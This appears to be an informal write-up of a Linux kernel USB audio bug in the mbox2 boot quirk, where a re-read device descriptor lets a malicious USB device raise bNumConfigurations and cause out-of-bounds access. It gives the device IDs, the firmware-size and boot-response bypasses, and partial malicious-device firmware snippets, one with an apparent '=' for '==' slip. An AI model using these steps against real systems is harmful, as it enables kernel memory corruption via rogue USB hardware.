So, the core of the mbox2 attack is a mistake in the snd_usb_mbox2_boot_quirk
code. They ask for the descriptor of the device for a second time in the quirk. They ask first and allocate the number of configurations there, then the quirk asks again and overrides the field.
/* USB_DT_DEVICE: Device descriptor */
struct usb_device_descriptor {
__u8 bLength;
__u8 bDescriptorType;
__le16 bcdUSB;
__u8 bDeviceClass;
__u8 bDeviceSubClass;
__u8 bDeviceProtocol;
__u8 bMaxPacketSize0;
__le16 idVendor;
__le16 idProduct;
__le16 bcdDevice;
__u8 iManufacturer;
__u8 iProduct;
__u8 iSerialNumber;
__u8 bNumConfigurations;
} __attribute__ ((packed));
^ bNumConfigurations
here.
bNumConfigurations
is capped at 8, and used in a bunch of for loops.
So you have a time-of-allocation number, that you control, and then you can override the bNumConfigurations to any other number that's smaller than or equal to 8, which then results in out of bounds access in various for loops.
The way you exploit this is by first triggering the quirk.
The quirk is triggered if you set the right USB ID
In my code:
.idVendor = 0x0dba, // Your vendor id
.idProduct = 0x3000, // Your product ID
Then for the mbox2 exploit, you have to get past this if statement:
fwsize = le16_to_cpu(get_cfg_desc(config)->wTotalLength);
if (fwsize != MBOX2_FIRMWARE_SIZE) {
dev_err(&dev->dev, "Invalid firmware size=%d.\n", fwsize);
return -ENODEV;
}
wTotalLength
is computed from the amount of descriptors included in the USB_DT_CONFIG
response (if I remember right), and it's the min of the actual amount of descriptors and the wTotalLength
field of the usb_config_descriptor
struct.
The usb_config_descriptor
struct is a response to USB_DT_CONFIG
; It's one of the descriptors.
It counts the bytes occupied by the descriptors returned in response, and sets that as the wTotalLength
.
This then has to match:
#define MBOX2_FIRMWARE_SIZE 646
That bypasses the first check.
I picked mbox2 instead of extigy simply cuz they have more logging, so it was easier to debug. extigy is the exact same up untill this point. Just different firmware sizes. I think I had some testing code working with extigy too. Now specifically for mbox2 they have this
count = 0;
bootresponse[0] = MBOX2_BOOT_LOADING;
while ((bootresponse[0] == MBOX2_BOOT_LOADING) && (count < 10)) {
msleep(500); /* 0.5 second delay */
snd_usb_ctl_msg(dev, usb_rcvctrlpipe(dev, 0),
/* Control magic - load onboard firmware */
0x85, 0xc0, 0x0001, 0x0000, &bootresponse, 0x0012);
if (bootresponse[0] == MBOX2_BOOT_READY)
break;
dev_dbg(&dev->dev, "device not ready, resending boot sequence...\n");
count++;
}
if (bootresponse[0] != MBOX2_BOOT_READY) {
dev_err(&dev->dev, "Unknown bootresponse=%d, or timed out, ignoring device.\n", bootresponse[0]);
return -ENODEV;
}
So you have to respond to the request 0x85 with 0x02:
#define MBOX2_BOOT_LOADING 0x01 /* Hard coded into the device */
#define MBOX2_BOOT_READY 0x02 /* Hard coded into the device */
That's the only passable code snippet in my exploit code:
} else if (req = 0x85 && !transfered_reset) {
memset(&ep0_buf[0], 0, 12);
ep0_buf[0] = 0x02;
usb_start_transfer(usb_get_endpoint_configuration(EP0_IN_ADDR), &ep0_buf[0], 12);
transfered_reset = 0x01;
}
First I zero out the response buffer,
then I set the first byte to MBOX2_BOOT_READY,
then I transfer it,
and set an internal flag (transferred_reset
).
The internal flag is then used to trigger the exploit:
if(transfered_reset) {
d->bNumConfigurations = 8;
}
This is in the handler for USB_DT_DEVICE
.